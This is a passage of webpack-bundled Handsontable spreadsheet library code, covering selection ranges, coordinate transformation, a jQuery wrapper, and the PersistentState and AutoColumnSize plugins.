* Get last added coordinates from ranges, it returns a CellRange instance. * * @return {CellRange|undefined} */ }, { key: "current", value: function current() { return this.peekByIndex(0); } /** * Get previously added coordinates from ranges, it returns a CellRange instance. * * @return {CellRange|undefined} */ }, { key: "previous", value: function previous() { return this.peekByIndex(-1); } /** * Returns `true` if coords is within selection coords. This method iterates through all selection layers to check if * the coords object is within selection range. * * @param {CellCoords} coords The CellCoords instance with defined visual coordinates. * @returns {Boolean} */ }, { key: "includes", value: function includes(coords) { return this.ranges.some(function (cellRange) { return cellRange.includes(coords); }); } /** * Clear collection. * * @return {SelectionRange} */ }, { key: "clear", value: function clear() { this.ranges.length = 0; return this; } /** * Get count of added all coordinates added to the selection. * * @return {Number} */ }, { key: "size", value: function size() { return this.ranges.length; } /** * Peek the coordinates based on the offset where that coordinate resides in the collection. * * @param {Number} [offset=0] An offset where the coordinate will be retrieved from. * @return {CellRange|undefined} */ }, { key: "peekByIndex", value: function peekByIndex() { var offset = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : 0; var rangeIndex = this.size() + offset - 1; var cellRange; if (rangeIndex >= 0) { cellRange = this.ranges[rangeIndex]; } return cellRange; } }, { key: Symbol.iterator, value: function value() { return this.ranges[Symbol.iterator](); } }]); return SelectionRange; }(); var _default = SelectionRange; exports.default = _default; /***/ }), /* 662 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _src = __webpack_require__(8); var _object = __webpack_require__(2); var _localHooks = _interopRequireDefault(__webpack_require__(68)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * The Transformation class implements algorithms for transforming coordinates based on current settings * passed to the Handsontable. * * Transformation is always applied relative to the current selection. * * @class Transformation * @util */ var Transformation = /*#__PURE__*/ function () { function Transformation(range, options) { _classCallCheck(this, Transformation); /** * Instance of the SelectionRange, holder for coordinates applied to the table. * * @type {SelectionRange} */ this.range = range; /** * Additional options which define the state of the settings which can infer transformation. * * @type {Object} */ this.options = options; } /** * Selects cell relative to current cell (if possible). * * @param {Number} rowDelta Rows number to move, value can be passed as negative number. * @param {Number} colDelta Columns number to move, value can be passed as negative number. * @param {Boolean} force If `true` the new rows/columns will be created if necessary. Otherwise, row/column will * be created according to `minSpareRows/minSpareCols` settings of Handsontable. * @returns {CellCoords} */ _createClass(Transformation, [{ key: "transformStart", value: function transformStart(rowDelta, colDelta, force) { var delta = new _src.CellCoords(rowDelta, colDelta); this.runLocalHooks('beforeTransformStart', delta); var totalRows = this.options.countRows(); var totalCols = this.options.countCols(); var fixedRowsBottom = this.options.fixedRowsBottom(); var minSpareRows = this.options.minSpareRows(); var minSpareCols = this.options.minSpareCols(); var autoWrapRow = this.options.autoWrapRow(); var autoWrapCol = this.options.autoWrapCol(); var highlightCoords = this.range.current().highlight; if (highlightCoords.row + rowDelta > totalRows - 1) { if (force && minSpareRows > 0 && !(fixedRowsBottom && highlightCoords.row >= totalRows - fixedRowsBottom - 1)) { this.runLocalHooks('insertRowRequire', totalRows); totalRows = this.options.countRows(); } else if (autoWrapCol) { delta.row = 1 - totalRows; delta.col = highlightCoords.col + delta.col === totalCols - 1 ? 1 - totalCols : 1; } } else if (autoWrapCol && highlightCoords.row + delta.row < 0 && highlightCoords.col + delta.col >= 0) { delta.row = totalRows - 1; delta.col = highlightCoords.col + delta.col === 0 ? totalCols - 1 : -1; } if (highlightCoords.col + delta.col > totalCols - 1) { if (force && minSpareCols > 0) { this.runLocalHooks('insertColRequire', totalCols); totalCols = this.options.countCols(); } else if (autoWrapRow) { delta.row = highlightCoords.row + delta.row === totalRows - 1 ? 1 - totalRows : 1; delta.col = 1 - totalCols; } } else if (autoWrapRow && highlightCoords.col + delta.col < 0 && highlightCoords.row + delta.row >= 0) { delta.row = highlightCoords.row + delta.row === 0 ? totalRows - 1 : -1; delta.col = totalCols - 1; } var coords = new _src.CellCoords(highlightCoords.row + delta.row, highlightCoords.col + delta.col); var rowTransformDir = 0; var colTransformDir = 0; if (coords.row < 0) { rowTransformDir = -1; coords.row = 0; } else if (coords.row > 0 && coords.row >= totalRows) { rowTransformDir = 1; coords.row = totalRows - 1; } if (coords.col < 0) { colTransformDir = -1; coords.col = 0; } else if (coords.col > 0 && coords.col >= totalCols) { colTransformDir = 1; coords.col = totalCols - 1; } this.runLocalHooks('afterTransformStart', coords, rowTransformDir, colTransformDir); return coords; } /** * Sets selection end cell relative to current selection end cell (if possible). * * @param {Number} rowDelta Rows number to move, value can be passed as negative number. * @param {Number} colDelta Columns number to move, value can be passed as negative number. * @returns {CellCoords} */ }, { key: "transformEnd", value: function transformEnd(rowDelta, colDelta) { var delta = new _src.CellCoords(rowDelta, colDelta); this.runLocalHooks('beforeTransformEnd', delta); var totalRows = this.options.countRows(); var totalCols = this.options.countCols(); var cellRange = this.range.current(); var coords = new _src.CellCoords(cellRange.to.row + delta.row, cellRange.to.col + delta.col); var rowTransformDir = 0; var colTransformDir = 0; if (coords.row < 0) { rowTransformDir = -1; coords.row = 0; } else if (coords.row > 0 && coords.row >= totalRows) { rowTransformDir = 1; coords.row = totalRows - 1; } if (coords.col < 0) { colTransformDir = -1; coords.col = 0; } else if (coords.col > 0 && coords.col >= totalCols) { colTransformDir = 1; coords.col = totalCols - 1; } this.runLocalHooks('afterTransformEnd', coords, rowTransformDir, colTransformDir); return coords; } }]); return Transformation; }(); (0, _object.mixin)(Transformation, _localHooks.default); var _default = Transformation; exports.default = _default; /***/ }), /* 663 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = jQueryWrapper; function jQueryWrapper(Handsontable) { var jQuery = typeof window === 'undefined' ? false : window.jQuery; if (!jQuery) { return; } jQuery.fn.handsontable = function (action) { var $this = this.first(); // Use only first element from list var instance = $this.data('handsontable'); // Init case if (typeof action !== 'string') { var userSettings = action || {}; if (instance) { instance.updateSettings(userSettings); } else { instance = new Handsontable.Core($this[0], userSettings); $this.data('handsontable', instance); instance.init(); } return $this; } var output; // Action case if (instance) { if (typeof instance[action] !== 'undefined') { var _instance$action; for (var _len = arguments.length, args = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) { args[_key - 1] = arguments[_key]; } output = (_instance$action = instance[action]).call.apply(_instance$action, [instance].concat(args)); if (action === 'destroy') { $this.removeData(); } } else { throw new Error("Handsontable do not provide action: ".concat(action)); } } return output; }; } /***/ }), /* 664 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; var _persistentState = _interopRequireDefault(__webpack_require__(665)); exports.PersistentState = _persistentState.default; var _autoColumnSize = _interopRequireDefault(__webpack_require__(667)); exports.AutoColumnSize = _autoColumnSize.default; var _autofill = _interopRequireDefault(__webpack_require__(668)); exports.AutoFill = _autofill.default; var _autoRowSize = _interopRequireDefault(__webpack_require__(670)); exports.AutoRowSize = _autoRowSize.default; var _columnSorting = _interopRequireDefault(__webpack_require__(671)); exports.ColumnSorting = _columnSorting.default; var _comments = _interopRequireDefault(__webpack_require__(682)); exports.Comments = _comments.default; var _contextMenu = _interopRequireDefault(__webpack_require__(686)); exports.ContextMenu = _contextMenu.default; var _copyPaste = _interopRequireDefault(__webpack_require__(703)); exports.CopyPaste = _copyPaste.default; var _customBorders = _interopRequireDefault(__webpack_require__(711)); exports.CustomBorders = _customBorders.default; var _dragToScroll = _interopRequireDefault(__webpack_require__(718)); exports.DragToScroll = _dragToScroll.default; var _manualColumnFreeze = _interopRequireDefault(__webpack_require__(719)); exports.ManualColumnFreeze = _manualColumnFreeze.default; var _manualColumnMove = _interopRequireDefault(__webpack_require__(723)); exports.ManualColumnMove = _manualColumnMove.default; var _manualColumnResize = _interopRequireDefault(__webpack_require__(728)); exports.ManualColumnResize = _manualColumnResize.default; var _manualRowMove = _interopRequireDefault(__webpack_require__(729)); exports.ManualRowMove = _manualRowMove.default; var _manualRowResize = _interopRequireDefault(__webpack_require__(734)); exports.ManualRowResize = _manualRowResize.default; var _mergeCells = _interopRequireDefault(__webpack_require__(735)); exports.MergeCells = _mergeCells.default; var _multipleSelectionHandles = _interopRequireDefault(__webpack_require__(741)); exports.MultipleSelectionHandles = _multipleSelectionHandles.default; var _observeChanges = _interopRequireDefault(__webpack_require__(742)); exports.ObserveChanges = _observeChanges.default; var _search = _interopRequireDefault(__webpack_require__(746)); exports.Search = _search.default; var _touchScroll = _interopRequireDefault(__webpack_require__(747)); exports.TouchScroll = _touchScroll.default; var _undoRedo = _interopRequireDefault(__webpack_require__(748)); exports.UndoRedo = _undoRedo.default; var _base = _interopRequireDefault(__webpack_require__(15)); exports.Base = _base.default; function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } /***/ }), /* 665 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _base = _interopRequireDefault(__webpack_require__(15)); var _plugins = __webpack_require__(13); var _storage = _interopRequireDefault(__webpack_require__(666)); var _pluginHooks = _interopRequireDefault(__webpack_require__(22)); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } function _get(target, property, receiver) { if (typeof Reflect !== "undefined" && Reflect.get) { _get = Reflect.get; } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(receiver); } return desc.value; }; } return _get(target, property, receiver || target); } function _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } _pluginHooks.default.getSingleton().register('persistentStateSave'); _pluginHooks.default.getSingleton().register('persistentStateLoad'); _pluginHooks.default.getSingleton().register('persistentStateReset'); /** * @plugin PersistentState * * @description * Save the state of column sorting, column positions and column sizes in local storage to preserve table state * between page reloads. * * In order to enable data storage mechanism, {@link Options#persistentState} option must be set to `true`. * * When persistentState is enabled it exposes 3 hooks: * - {@link Hooks#persistentStateSave} - Saves value under given key in browser local storage. * - {@link Hooks#persistentStateLoad} - Loads value, saved under given key, from browser local storage. The loaded * value will be saved in `saveTo.value`. * - {@link Hooks#persistentStateReset} - Clears the value saved under key. If no key is given, all values associated * with table will be cleared. */ var PersistentState = /*#__PURE__*/ function (_BasePlugin) { _inherits(PersistentState, _BasePlugin); function PersistentState(hotInstance) { var _this; _classCallCheck(this, PersistentState); _this = _possibleConstructorReturn(this, _getPrototypeOf(PersistentState).call(this, hotInstance)); /** * Instance of {@link Storage}. * * @private * @type {Storage} */ _this.storage = void 0; return _this; } /** * Checks if the plugin is enabled in the handsontable settings. This method is executed in {@link Hooks#beforeInit} * hook and if it returns `true` than the {@link PersistentState#enablePlugin} method is called. * * @returns {Boolean} */ _createClass(PersistentState, [{ key: "isEnabled", value: function isEnabled() { return !!this.hot.getSettings().persistentState; } /** * Enables the plugin functionality for this Handsontable instance. */ }, { key: "enablePlugin", value: function enablePlugin() { var _this2 = this; if (this.enabled) { return; } if (!this.storage) { this.storage = new _storage.default(this.hot.rootElement.id); } this.addHook('persistentStateSave', function (key, value) { return _this2.saveValue(key, value); }); this.addHook('persistentStateLoad', function (key, saveTo) { return _this2.loadValue(key, saveTo); }); this.addHook('persistentStateReset', function () { return _this2.resetValue(); }); _get(_getPrototypeOf(PersistentState.prototype), "enablePlugin", this).call(this); } /** * Disables the plugin functionality for this Handsontable instance. */ }, { key: "disablePlugin", value: function disablePlugin() { this.storage = void 0; _get(_getPrototypeOf(PersistentState.prototype), "disablePlugin", this).call(this); } /** * Updates the plugin state. This method is executed when {@link Core#updateSettings} is invoked. */ }, { key: "updatePlugin", value: function updatePlugin() { this.disablePlugin(); this.enablePlugin(); _get(_getPrototypeOf(PersistentState.prototype), "updatePlugin", this).call(this); } /** * Loads the value from local storage. * * @param {String} key Storage key. * @param {Object} saveTo Saved value from local storage. */ }, { key: "loadValue", value: function loadValue(key, saveTo) { saveTo.value = this.storage.loadValue(key); } /** * Saves the data to local storage. * * @param {String} key Storage key. * @param {Mixed} value Value to save. */ }, { key: "saveValue", value: function saveValue(key, value) { this.storage.saveValue(key, value); } /** * Resets the data or all data from local storage. * * @param {String} key [optional] Storage key. */ }, { key: "resetValue", value: function resetValue(key) { if (typeof key === 'undefined') { this.storage.resetAll(); } else { this.storage.reset(key); } } /** * Destroys the plugin instance. */ }, { key: "destroy", value: function destroy() { _get(_getPrototypeOf(PersistentState.prototype), "destroy", this).call(this); } }]); return PersistentState; }(_base.default); (0, _plugins.registerPlugin)('persistentState', PersistentState); var _default = PersistentState; exports.default = _default; /***/ }), /* 666 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _array = __webpack_require__(3); function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } /** * @class Storage * @plugin PersistentState */ var Storage = /*#__PURE__*/ function () { function Storage(prefix) { _classCallCheck(this, Storage); /** * Prefix for key (id element). * * @type {String} */ this.prefix = prefix; /** * Saved keys. * * @type {Array} */ this.savedKeys = []; this.loadSavedKeys(); } /** * Save data to localStorage. * * @param {String} key Key string. * @param {Mixed} value Value to save. */ _createClass(Storage, [{ key: "saveValue", value: function saveValue(key, value) { window.localStorage.setItem("".concat(this.prefix, "_").concat(key), JSON.stringify(value)); if (this.savedKeys.indexOf(key) === -1) { this.savedKeys.push(key); this.saveSavedKeys(); } } /** * Load data from localStorage. * * @param {String} key Key string. * @param {Object} defaultValue Object containing the loaded data. * * @returns {} */ }, { key: "loadValue", value: function loadValue(key, defaultValue) { var itemKey = typeof key === 'undefined' ? defaultValue : key; var value = window.localStorage.getItem("".concat(this.prefix, "_").concat(itemKey)); return value === null ? void 0 : JSON.parse(value); } /** * Reset given data from localStorage. * * @param {String} key Key string. */ }, { key: "reset", value: function reset(key) { window.localStorage.removeItem("".concat(this.prefix, "_").concat(key)); } /** * Reset all data from localStorage. * */ }, { key: "resetAll", value: function resetAll() { var _this = this; (0, _array.arrayEach)(this.savedKeys, function (value, index) { window.localStorage.removeItem("".concat(_this.prefix, "_").concat(_this.savedKeys[index])); }); this.clearSavedKeys(); } /** * Load and save all keys from localStorage. * * @private */ }, { key: "loadSavedKeys", value: function loadSavedKeys() { var keysJSON = window.localStorage.getItem("".concat(this.prefix, "__persistentStateKeys")); var keys = typeof keysJSON === 'string' ? JSON.parse(keysJSON) : void 0; this.savedKeys = keys || []; } /** * Save saved key in localStorage. * * @private */ }, { key: "saveSavedKeys", value: function saveSavedKeys() { window.localStorage.setItem("".concat(this.prefix, "__persistentStateKeys"), JSON.stringify(this.savedKeys)); } /** * Clear saved key from localStorage. * * @private */ }, { key: "clearSavedKeys", value: function clearSavedKeys() { this.savedKeys.length = 0; this.saveSavedKeys(); } }]); return Storage; }(); var _default = Storage; exports.default = _default; /***/ }), /* 667 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.default = void 0; var _base = _interopRequireDefault(__webpack_require__(15)); var _array = __webpack_require__(3); var _feature = __webpack_require__(47); var _element = __webpack_require__(1); var _ghostTable = _interopRequireDefault(__webpack_require__(124)); var _object = __webpack_require__(2); var _number = __webpack_require__(9); var _plugins = __webpack_require__(13); var _samplesGenerator = _interopRequireDefault(__webpack_require__(431)); var _string = __webpack_require__(48); var _src = __webpack_require__(8); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || _nonIterableRest(); } function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance"); } function _iterableToArrayLimit(arr, i) { var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; } function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === "object" || typeof call === "function")) { return call; } return _assertThisInitialized(self); } function _get(target, property, receiver) { if (typeof Reflect !== "undefined" && Reflect.get) { _get = Reflect.get; } else { _get = function _get(target, property, receiver) { var base = _superPropBase(target, property); if (!base) return; var desc = Object.getOwnPropertyDescriptor(base, property); if (desc.get) { return desc.get.call(receiver); } return desc.value; }; } return _get(target, property, receiver || target); } function _superPropBase(object, property) { while (!Object.prototype.hasOwnProperty.call(object, property)) { object = _getPrototypeOf(object); if (object === null) break; } return object; } function _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } function _inherits(subClass, superClass) { if (typeof superClass !== "function" && superClass !== null) { throw new TypeError("Super expression must either be null or a function"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); } function _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); } function _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError("this hasn't been initialised - super() hasn't been called"); } return self; } var privatePool = new WeakMap(); /** * @plugin AutoColumnSize * * @description * This plugin allows to set column widths based on their widest cells. * * By default, the plugin is declared as `undefined`, which makes it enabled (same as if it was declared as `true`). * Enabling this plugin may decrease the overall table performance, as it needs to calculate the widths of all cells to * resize the columns accordingly. * If you experience problems with the performance, try turning this feature off and declaring the column widths manually. * * Column width calculations are divided into sync and async part. Each of this parts has their own advantages and * disadvantages. Synchronous calculations are faster but they block the browser UI, while the slower asynchronous * operations don't block the browser UI. * * To configure the sync/async distribution, you can pass an absolute value (number of columns) or a percentage value to a config object: * ```js * // as a number (300 columns in sync, rest async) * autoColumnSize: {syncLimit: 300}, * * // as a string (percent) * autoColumnSize: {syncLimit: '40%'}, * ``` * * To configure this plugin see {@link Options#autoColumnSize}. * * @example * ```js * const hot = new Handsontable(document.getElementById('example'), { * date: getData(), * autoColumnSize: true * }); * // Access to plugin instance: * const plugin = hot.getPlugin('autoColumnSize'); * * plugin.getColumnWidth(4); * * if (plugin.isEnabled()) { * // code... * } * ``` */ var AutoColumnSize = /*#__PURE__*/ function (_BasePlugin) { _inherits(AutoColumnSize, _BasePlugin); _createClass(AutoColumnSize, null, [{ key: "CALCULATION_STEP", get: function get() { return 50; } }, { key: "SYNC_CALCULATION_LIMIT", get: function get() { return 50; } }]); function AutoColumnSize(hotInstance) { var _this; _classCallCheck(this, AutoColumnSize); _this = _possibleConstructorReturn(this, _getPrototypeOf(AutoColumnSize).call(this, hotInstance)); privatePool.set(_assertThisInitialized(_assertThisInitialized(_this)), { /** * Cached column header names. It is used to diff current column headers with previous state and detect which * columns width should be updated. * * @private * @type {Array} */ cachedColumnHeaders: [] }); /** * Cached columns widths. * * @type {Number[]} */ _this.widths = []; /** * Instance of {@link GhostTable} for rows and columns size calculations. * * @private * @type {GhostTable} */ _this.ghostTable = new _ghostTable.default(_this.hot); /** * Instance of {@link SamplesGenerator} for generating samples necessary for columns width calculations. * * @private * @type {SamplesGenerator} */ _this.samplesGenerator = new _samplesGenerator.default(function (row, column) { var cellMeta = _this.hot.getCellMeta(row, column); var cellValue = ''; if (!cellMeta.spanned) { cellValue = _this.hot.getDataAtCell(row, column); } var bundleCountSeed = 0; if (cellMeta.label) { var _cellMeta$label = cellMeta.label, labelValue = _cellMeta$label.value, labelProperty = _cellMeta$label.property; var labelText = ''; if (labelValue) { labelText = typeof labelValue === 'function' ? labelValue(row, column, _this.hot.colToProp(column), cellValue) : labelValue; } else if (labelProperty) { labelText = _this.hot.getDataAtRowProp(row, labelProperty); } bundleCountSeed = labelText.length; } return { value: cellValue, bundleCountSeed: bundleCountSeed }; }); /** * `true` only if the first calculation was performed * * @private * @type {Boolean} */ _this.firstCalculation = true; /** * `true` if the size calculation is in progress. * * @type {Boolean} */ _this.inProgress = false; // moved to constructor to allow auto-sizing the columns when the plugin is disabled _this.addHook('beforeColumnResize', function (col, size, isDblClick) { return _this.onBeforeColumnResize(col, size, isDblClick); }); return _this; } /** * Checks if the plugin is enabled in the handsontable settings. This method is executed in {@link Hooks#beforeInit} * hook and if it returns `true` than the {@link AutoColumnSize#enablePlugin} method is called. * * @returns {Boolean} */ _createClass(AutoColumnSize, [{ key: "isEnabled", value: function isEnabled() { return this.hot.getSettings().autoColumnSize !== false && !this.hot.getSettings().colWidths; } /** * Enables the plugin functionality for this Handsontable instance. */ }, { key: "enablePlugin", value: function enablePlugin() { var _this2 = this; if (this.enabled) { return; } var setting = this.hot.getSettings().autoColumnSize; if (setting && setting.useHeaders !== null && setting.useHeaders !== void 0) { this.ghostTable.setSetting('useHeaders', setting.useHeaders); } this.setSamplingOptions(); this.addHook('afterLoadData', function () { return _this2.onAfterLoadData(); }); this.addHook('beforeChange', function (changes) { return _this2.onBeforeChange(changes); }); this.addHook('beforeRender', function (force) { return _this2.onBeforeRender(force); }); this.addHook('modifyColWidth', function (width, col) { return _this2.getColumnWidth(col, width); }); this.addHook('afterInit', function () { return _this2.onAfterInit(); }); _get(_getPrototypeOf(AutoColumnSize.prototype), "enablePlugin", this).call(this); } /** * Updates the plugin state. This method is executed when {@link Core#updateSettings} is invoked. */ }, { key: "updatePlugin", value: function updatePlugin() { var changedColumns = this.findColumnsWhereHeaderWasChanged(); if (changedColumns.length) { this.clearCache(changedColumns); } _get(_getPrototypeOf(AutoColumnSize.prototype), "updatePlugin", this).call(this); } /** * Disables the plugin functionality for this Handsontable instance. */ }, { key: "disablePlugin", value: function disablePlugin() { _get(_getPrototypeOf(AutoColumnSize.prototype), "disablePlugin", this).call(this); } /** * Calculates a columns width. * * @param {Number|Object} colRange Column index or an object with `from` and `to` indexes as a range. * @param {Number|Object} rowRange Row index or an object with `from` and `to` indexes as a range. * @param {Boolean} [force=false] If `true` the calculation will be processed regardless of whether the width exists in the cache. */ }, { key: "calculateColumnsWidth", value: function calculateColumnsWidth() { var _this3 = this; var colRange = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : { from: 0, to: this.hot.countCols() - 1 }; var rowRange = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : { from: 0, to: this.hot.countRows() - 1 }; var force = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false; var columnsRange = typeof colRange === 'number' ? { from: colRange, to: colRange } : colRange; var rowsRange = typeof rowRange === 'number' ? { from: rowRange, to: rowRange } : rowRange; (0, _number.rangeEach)(columnsRange.from, columnsRange.to, function (col) { if (force || _this3.widths[col] === void 0 && !_this3.hot._getColWidthFromSettings(col)) { var samples = _this3.samplesGenerator.generateColumnSamples(col, rowsRange); (0, _array.arrayEach)(samples, function (_ref) { var _ref2 = _slicedToArray(_ref, 2), column = _ref2[0], sample = _ref2[1]; return _this3.ghostTable.addColumn(column, sample); }); } }); if (this.ghostTable.columns.length) { this.ghostTable.getWidths(function (col, width) { _this3.widths[col] = width; }); this.ghostTable.clean(); } } /** * Calculates all columns width. The calculated column will be cached in the {@link AutoColumnSize#widths} property. * To retrieve width for specyfied column use {@link AutoColumnSize#getColumnWidth} method. * * @param {Object|Number} rowRange Row index or an object with `from` and `to` properties which define row range. */ }, { key: "calculateAllColumnsWidth", value: function calculateAllColumnsWidth() { var _this4 = this; var rowRange = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : { from: 0, to: this.hot.countRows() - 1 }; var current = 0; var length = this.hot.countCols() - 1; var timer = null; this.inProgress = true; var loop = function loop() { // When hot was destroyed after calculating finished cancel frame if (!_this4.hot) { (0, _feature.cancelAnimationFrame)(timer); _this4.inProgress = false; return; } _this4.calculateColumnsWidth({ from: current, to: Math.min(current + AutoColumnSize.CALCULATION_STEP, length) }, rowRange); current = current + AutoColumnSize.CALCULATION_STEP + 1; if (current < length) { timer = (0, _feature.requestAnimationFrame)(loop); } else { (0, _feature.cancelAnimationFrame)(timer); _this4.inProgress = false; // @TODO Should call once per render cycle, currently fired separately in different plugins _this4.hot.view.wt.wtOverlays.adjustElementsSize(true); // tmp if (_this4.hot.view.wt.wtOverlays.leftOverlay.needFullRender) { _this4.hot.view.wt.wtOverlays.leftOverlay.clone.draw(); } } }; var syncLimit = this.getSyncCalculationLimit(); // sync if (this.firstCalculation && syncLimit >= 0) { this.calculateColumnsWidth({ from: 0, to: syncLimit }, rowRange); this.firstCalculation = false; current = syncLimit + 1; } // async if (current < length) { loop(); } else { this.inProgress = false; } } /** * Sets the sampling options. * * @private */ }, { key: "setSamplingOptions", value: function setSamplingOptions() { var setting = this.hot.getSettings().autoColumnSize; var samplingRatio = setting && (0, _object.hasOwnProperty)(setting, 'samplingRatio') ? this.hot.getSettings().autoColumnSize.samplingRatio : void 0; var allowSampleDuplicates = setting && (0, _object.hasOwnProperty)(setting, 'allowSampleDuplicates') ? this.hot.getSettings().autoColumnSize.allowSampleDuplicates : void 0; if (samplingRatio && !isNaN(samplingRatio)) { this.samplesGenerator.setSampleCount(parseInt(samplingRatio, 10)); } if (allowSampleDuplicates) { this.samplesGenerator.setAllowDuplicates(allowSampleDuplicates); } } /** * Recalculates all columns width (overwrite cache values). */ }, { key: "recalculateAllColumnsWidth", value: function recalculateAllColumnsWidth() { if (this.hot.view && (0, _element.isVisible)(this.hot.view.wt.wtTable.TABLE)) { this.clearCache(); this.calculateAllColumnsWidth(); } } /** * Gets value which tells how many columns should be calculated synchronously (rest of the columns will be calculated * asynchronously). The limit is calculated based on `syncLimit` set to `autoColumnSize` option (see {@link Options#autoColumnSize}). * * @returns {Number} */ }, { key: "getSyncCalculationLimit", value: function getSyncCalculationLimit() { /* eslint-disable no-bitwise */ var limit = AutoColumnSize.SYNC_CALCULATION_LIMIT; var colsLimit = this.hot.countCols() - 1; if ((0, _object.isObject)(this.hot.getSettings().autoColumnSize)) { limit = this.hot.getSettings().autoColumnSize.syncLimit; if ((0, _string.isPercentValue)(limit)) { limit = (0, _number.valueAccordingPercent)(colsLimit, limit); } else { // Force to Number limit >>= 0; } } return Math.min(limit, colsLimit); } /** * Gets the calculated column width. * * @param {Number} column Column index. * @param {Number} 